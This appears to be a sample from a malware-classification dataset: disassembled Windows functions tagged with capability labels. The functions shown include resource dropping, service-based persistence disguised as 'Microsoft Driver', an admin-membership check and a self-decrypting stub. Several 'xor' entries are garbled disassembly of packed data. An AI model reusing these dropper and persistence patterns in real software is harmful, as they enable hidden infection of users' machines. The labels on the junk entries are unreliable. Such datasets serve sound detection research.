joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001560
Capabilities:
Delete file
Extract resource via kernel32 functions
Set file attributes
Write file on windows

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x10002368
mov ecx, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
mov dword fs:[0], esp
mov edx, dword [0x100043d4]
sub esp, 0x48
and ecx, 0xffff
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
mov eax, dword [0x100043d4]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [0x100043d4]
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000170a
mov ebp, dword [esp + 0x68]
push 0
push ebp
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
jne 0x100015f0
push 0x100
push ebp
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esi + 0xc]
mov dword [esp + 0x70], eax
add eax, 0xa
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
cmp word [esi + 0xa], 0
mov edi, eax
jne 0x10001703
xor edx, edx
mov cl, 8
mov dx, word [esi + 0x18]
mov byte [esp + 0x2a], cl
mov byte [esp + 0x29], cl
mov byte [esp + 0x2b], 4
lea eax, [edx + esi + 0x1a]
mov byte [esp + 0x2c], 2
push 0
push 0
push 0
push edi
push eax
lea ecx, [esp + 0x30]
mov dword [esp + 0x74], 0
call fcn.100010d0
push ebx
mov dword [esp + 0x64], 0xffffffff
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, dword [esp + 0x74]
test eax, eax
je 0x100016ab
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
push 0x1000407c
lea eax, [esp + 0x18]
push 0xa
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
mov ecx, dword [esp + 0x80]
mov eax, dword [esp + 0x20]
add esp, 0x10
lea edx, [edi + ecx]
mov dword [edi + ecx], eax
mov ecx, dword [esp + 0x14]
mov dword [edx + 4], ecx
mov ax, word [esp + 0x18]
mov word [edx + 8], ax
mov eax, dword [esp + 0x70]
add eax, 0xa
mov dword [esp + 0x70], eax
xor ebx, ebx
push ebx
push 4
push 2
push ebx
push ebx
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x100016e5
mov edx, dword [esp + 0x70]
lea ecx, [esp + 0x70]
push ebx
push ecx
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
add esp, 0x54
ret
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [esp + 0x58]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0x54
ret
Function at 0x10001730
Capabilities:
Create service
Persist via windows service

Disassembly:
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
je 0x1000176e
mov ecx, dword [esp + 8]
push 0
push 0
mov edx, dword [esp + 0xc]
push 0
push 0
push 0
push ecx
push 1
push 2
push 1
push 0xf01ff
push str.Microsoft_Driver
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
ret

Function at 0x100017f0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x220
push ebx
mov ebx, dword [esp + 0x228]
push esi
push edi
test ebx, ebx
je 0x100018a1
mov ecx, 0x41
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
lea eax, [esp + 0xc]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100018a1
lea ecx, [esp + 0x10]
lea edx, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Common_AppData
push ecx
mov dword [esp + 0x28], 0x211
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0xc]
mov esi, eax
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x100018a1
cmp dword [esp + 0x14], 1
jne 0x100018a1
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, 1
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x220
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x220
ret

Function at 0x100018b0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 4]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
cmp eax, ebx
mov dword [esp + 8], eax
je 0x10001915
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call sub.ADVAPI32.dll_CheckTokenMembership
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
xor edx, edx
cmp eax, 1
sete dl
mov eax, edx
pop ebx
add esp, 0x10
ret
Function at 0x10001930
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
call fcn.100017f0
add esp, 4
test eax, eax
je 0x100019c3
push ebx
push edi
mov edi, 0x100040e8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10004078
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_fopen]
add esp, 8
mov esi, eax
test esi, esi
pop edi
pop ebx
je 0x100019c3
mov ecx, dword [esp + 0x110]
mov edx, dword [esp + 0x10c]
push esi
push ecx
push 1
push edx
call dword [sym.imp.MSVCRT.dll_fwrite]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
mov eax, 1
pop esi
add esp, 0x104
ret
xor eax, eax
pop esi
add esp, 0x104
ret

Function at 0x10001f30
Capabilities:
Create thread
Terminate process

Disassembly:
push ecx
mov eax, dword [0x10004050]
test eax, eax
je 0x10001f5d
lea eax, [esp]
push eax
push 0
push 0
push 0x10001b50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10001f5d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 8]
mov edx, dword [0x100043e8]
push ecx
push edx
mov dword [0x10004050], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x10001f85
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop ecx
ret 4
Function at 0x42c7a0
Capabilities:
Encode data using xor

Disassembly:
mov ebp, 0xdd10b3e
sub al, 0xae
dec eax
push eax
invalid

Function at 0x438740
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [0xce36b30a]
salc
insb byte es:[edi], dx
das
mov dh, 0x99
fmul dword [ecx + esi*8 - 0x51]
or byte [edx], 0x6b
adc bl, al
push ds
fucomp st(0)
invalid

Function at 0x4b1de0
Capabilities:
Encode data using xor

Disassembly:
xchg edx, eax
sub ah, byte [esi]
adc dword [edi + 0x24], eax
mov edi, 0x14d46ea1
or dword [edi + ecx], ebx
mov esp, 0x8ccd269
scasd eax, dword es:[edi]
inc edi
xchg ebx, eax
mov ebp, 0x49537cdb
invalid

Function at 0x4b7360
Capabilities:
Encode data using xor

Disassembly:
das
cmp dword [esi - 0x27140388], ecx
div byte [ecx - 0x4a]
mov dword [0x894dc16], eax
cmpsb byte [esi], byte es:[edi]
movsb byte es:[edi], byte [esi]
push ds
dec al
xlatb
in al, dx
int 0x2a
insb byte es:[edi], dx
int 0x7a
dec ebp
xor dword [ebp + 0x4c717ffe], ecx
js 0x4b7395
push edi
jbe 0x4b7319
in al, 0x1c
lodsb al, byte [esi]
popfd
pop edi
cmp eax, 0x46c54ce3
loopne 0x4b7376
invalid
loop 0x4b733d
jo 0x4b73b3
jb 0xd94972af
mov edi, 0x9de8d8f5
xor bl, byte [esp + ebx - 0x69069774]
add ch, byte [edx - 0x2c102027]
push ebx
or cl, bh
fmul st(5)
push ecx
popal
test byte [eax + 0x22], dl
pushal
sbb al, 0x72
xor eax, 0xb84cf1c3
push edi
add al, 0x12
rol byte [eax - 0x43], 1
adc al, byte [edi]
pop es
mov esi, 0x478e510f
salc
or al, 0x91
dec ecx
scasd eax, dword es:[edi]
xor eax, 0xded9757c
lahf
clc
add byte [ecx - 0x7e946f3], 0x48
stosb byte es:[edi], al
punpckhbw mm1, qword [edx + 0x31]
push ebx
or esp, dword [ecx]
iretd

Function at 0x4b9d30
Capabilities:
Encode data using xor

Disassembly:
lcall 0x401e, 0x46d4a007
jg 0x4b9d1c
sub byte [edi - 0x65], bl
dec ecx
daa
mov ch, 0x8e
invalid
invalid
lahf
pop ebx
sbb byte [ebx], ch
retf 0x333e
test dword [edi - 0x28], esi
pushfd
jle 0x4b9cf9
adc dword [eax - 0x695e1a15], esi
jae 0x4b9d20
sbb al, 0xef
sub al, 0x61
xor dword [esi], ecx
push ecx
mov dword [edx], edx
push ecx
jb 0x4b9d08
pop esi
pop ecx
xor ebx, dword [ebx]
push edi
test byte [ecx], 0x47
sub al, 0x7f
xor dword [ecx + 0x300d554d], esi
in eax, 0xda
jle 0x4b9dca
fidivr dword [esi + 0x6c]
insb byte es:[edi], dx
sbb byte [edx - 0x6d7acab3], 0x45
das
xor esp, dword [ebp + 0x5c77f84a]
mov ecx, 0x480d6301
clc
inc ebp
push ebp
xor ah, bl
popfd
mov byte [0x32cb0238], al
push es
xchg ebp, eax
sub ch, byte [ecx]
sub edx, esp
mov ebp, 0xd660f97e
push ebp
pushfd
inc esp
jge 0x4b9d5b
rsqrtps xmm7, xmm0
fist dword [edi + 0x10]
inc esi
out dx, al
salc
add al, 0x5e
lea ecx, [edi + 0x7c3055cf]
add eax, 0xee5ac424
in eax, 0xe1
mov ecx, 0x2e16868b
and al, 0x6e
pop es
rcl dword [ebx - 0x21], 0x68
inc esp
xchg esp, eax
ret
in al, 0x9c
mov al, 0xaa
xchg ebx, eax
sub cl, ch
div byte [ebp + 0x50]
aaa
or esp, dword [edx - 0x4c]
sbb eax, dword [ecx]
pop ecx
dec eax
inc ebp
js 0x4b9dec
invalid
xor eax, 0x61b0e9e0
pop edx
xchg esp, eax
and dword [edx + 0x3f], 0xffffff85
loope 0x4b9d8d
xchg esp, eax
jp 0x4b9df8
mov al, byte [0x90ecff2c]
iretd
Function at 0x4be440
Capabilities:
Encode data using xor

Disassembly:
push ebp
dec edx
cmp edi, dword [eax + 0x490782a8]
inc esi
mov dh, byte [ebp - 0x30]
outsd dx, dword [esi]
dec edx
test dword cs:[edi - 0x4e], ebx
aad 0xcf
xchg ebp, edx
imul ebp, dword [edi - 0x71], 0xe6c54c60
mov al, byte [0xb1eb16be]
fldenv [ebx]
in eax, 0xab
fadd dword [edx + ebx*2 - 0x47f497b]
test eax, 0xbe28e203
in eax, dx
imul esp, dword [ecx + ebp*2], 0xb6f31b15
invalid

Function at 0x4be9b0
Capabilities:
Encode data using xor

Disassembly:
je 0x4be9b5
das
lodsd eax, dword [esi]
xchg byte [ebx - 0x6873582a], ah
shr bl, cl
jmp 0xb8133f44
mov dword [0x49257107], eax
cmp dword [edi + 0x7b], 0x3a9827bd
into
fsubrp st(2)
outsd dx, dword [esi]
xchg ebx, esi
push 0x40
sbb al, 0xd2
retf 0xdefa
push 0xffffffffffffffe7
scasd eax, dword es:[edi]
xor al, byte [esp + edx*8 - 0x52e33a46]
aas
mov edx, 0x3fad1cc5
out dx, eax
xchg ecx, eax
jl 0x4be9ff
dec ecx
das
add dword [eax + 0x23f7158], edx
popfd
and ebp, edx
insd dword es:[edi], dx
mul byte [ebp + edi*8 + 8]
loop 0x4be9af
jno 0x4bea04
add bl, byte [ebp - 0x9922adf]
std
or dl, ah
fild word [edi]
pop es
jo 0x4be987
pop ss
jns 0x4bea37
mov ecx, 0x53eedd0d
in al, dx
pop ecx
mov edx, ebp
jle 0x4be9f4
push edx
jge 0x4bea37
cmpsd dword [esi], dword es:[edi]
test eax, 0x8d491062
mov dword [ebx], edx
popfd
jg 0x4be9c3
wrmsr
mov dh, 0x9e
sahf
invalid
cmc
xchg edx, eax
cmpsd dword [esi], dword es:[edi]
shr byte [eax - 7], 1
test ch, dl
fild qword [esi + 0x4bae3ced]
cmp al, 0xae
dec ebx
pop ds
inc edi
mov bh, 0xb4
inc esp
jae 0x4bea29
add bl, byte [edx - 0x25f3b973]
rol dword [edx], 0x15
fimul dword [0xa5ea46f]
or eax, 0xa5ea46f
mov ah, 0
jecxz 0x4bea7d
cdq
cmp dword [ecx], edi
sti
and ebx, dword [edx + 0x34ede085]
wait
xchg ecx, eax
push es
cmc
cmp al, 0x58
jle 0x4be9f2
clc
aaa
jecxz 0x4bea72
mov edi, 0xacad827a
jbe 0x4bea13
invalid
xor al, 0x3b
xchg ebp, eax
cmp eax, 0xdf229f6e
outsd dx, dword [esi]
mov bl, 0xc5
push ss
outsd dx, dword [esi]
loop 0x4bea34
loop 0x4bea34
Function at 0x413696
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.004067d0
mov eax, dword [0x473500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00411af7
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x4136d8
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x413834
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041ce80
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x475018]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00413abc
mov ecx, dword [esi*4 + 0x475018]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x41382d
cmp eax, dword [edi + ecx + 0x24]
jne 0x41382d
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41382d
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00413abc
add esp, 0x14
test edx, edx
jl 0x41382d
jg 0x4137a3
test eax, eax
jb 0x41382d
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41382d
jl 0x4137bd
cmp dword [ebp - 0x1008], eax
ja 0x41382d
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x4137db
test ebx, ebx
je 0x413814
cmp ecx, edi
jae 0x413814
mov al, byte [ecx]
cmp al, 0xd
jne 0x4137f5
lea eax, [edi - 1]
cmp ecx, eax
jae 0x413801
cmp byte [ecx + 1], 0xa
jne 0x413801
inc ecx
jmp 0x413801
movzx eax, al
movsx eax, byte [eax + 0x473e80]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x4137db
cmp edx, ebx
jne 0x4137db
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x413832
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00405a66
leave
ret
Function at 0x419a39
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x475018]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419a79
cmp byte [ebx], 0xa
jne 0x419a79
or byte [eax + edi + 0x28], 4
jmp 0x419a7e
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x419b7c
mov al, byte [edx]
cmp al, 0x1a
je 0x419b5e
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x419aad
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x419ad2
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x419adc
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x419a8f
jmp 0x419b7c
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419b59
cmp dword [ebp - 0xc], 0
je 0x419b59
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x475018]
test byte [eax + edi + 0x28], 0x48
je 0x419b33
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x419b1e
mov byte [esi], dl
jmp 0x419b2f
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x475018]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x419b7c
cmp byte [ebp - 1], 0xa
jne 0x419b42
cmp esi, ebx
jne 0x419b42
mov byte [esi], 0xa
jmp 0x419b7b
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00413ada
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x419b7c
mov byte [esi], 0xd
jmp 0x419b7b
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x475018]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419b78
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x419b7c
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x419b85
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x475018]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419bc8
cmp word [esi], dx
jne 0x419bc8
or byte [edi + eax + 0x28], 4
jmp 0x419bcd
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x419d20
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x419d00
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x419c0f
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x419c45
cmp eax, edx
jae 0x419c51
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x419be7
jmp 0x419d20
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419cfc
cmp dword [ebp - 0x14], 0
je 0x419cfc
mov eax, dword [ebx*4 + 0x475018]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x419cd4
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x419c9d
mov word [esi], cx
jmp 0x419cd0
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x475018]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x475018]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x475018]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x419d20
pop ebx
cmp word [ebp - 4], bx
jne 0x419ce5
cmp esi, dword [ebp + 0xc]
jne 0x419ce5
mov word [esi], bx
jmp 0x419d1d
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00413ada
add esp, 0x10
cmp word [ebp - 4], bx
je 0x419d20
push 0xd
jmp 0x419d19
mov ecx, dword [ebx*4 + 0x475018]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419d17
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x419d20
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x1001130
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001080
push 0x1001322
push eax
mov dword fs:[0], esp
sub esp, 0x78
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT40.dll___set_app_type]
add esp, 4
mov dword [0x100204c], 0xffffffff
mov eax, dword [0x100204c]
mov dword [0x1002050], eax
call dword [sym.imp.MSVCRT40.dll___p__fmode]
mov ecx, dword [0x1002040]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT40.dll___p__commode]
mov ecx, dword [0x100203c]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT40.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x1002054], eax
call fcn.01001320
cmp dword [0x1002038], 0
jne 0x10011c0
push 0x1001310
call dword [sym.imp.MSVCRT40.dll___setusermatherr]
add esp, 4
call fcn.010012f0
push 0x100200c
push 0x1002008
call sub.MSVCRT40.dll__initterm
add esp, 8
mov eax, dword [0x1002034]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [0x1002030]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.MSVCRT40.dll___getmainargs]
add esp, 0x14
push 0x1002004
push section..data
call sub.MSVCRT40.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT40.dll___p__acmdln]
mov esi, dword [eax]
mov al, byte [esi]
cmp al, 0x22
jne 0x1001234
mov al, byte [ebp - 0x40]
inc esi
mov al, byte [esi]
test al, al
je 0x100122c
cmp al, 0x22
jne 0x1001221
cmp byte [esi], 0x22
jne 0x100123e
inc esi
jmp 0x100123e
cmp al, 0x20
jbe 0x100123e
inc esi
cmp byte [esi], 0x20
ja 0x1001238
cmp byte [esi], 0
je 0x100124e
cmp byte [esi], 0x20
ja 0x100124e
inc esi
cmp byte [esi], 0
jne 0x1001243
mov dword [ebp - 0x5c], 0
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x5c], 1
mov eax, 0xa
je 0x1001275
mov eax, dword [ebp - 0x58]
and eax, 0xffff
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call dword [sym.imp.MSVCRT40.dll_exit]
jmp 0x10012b8
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret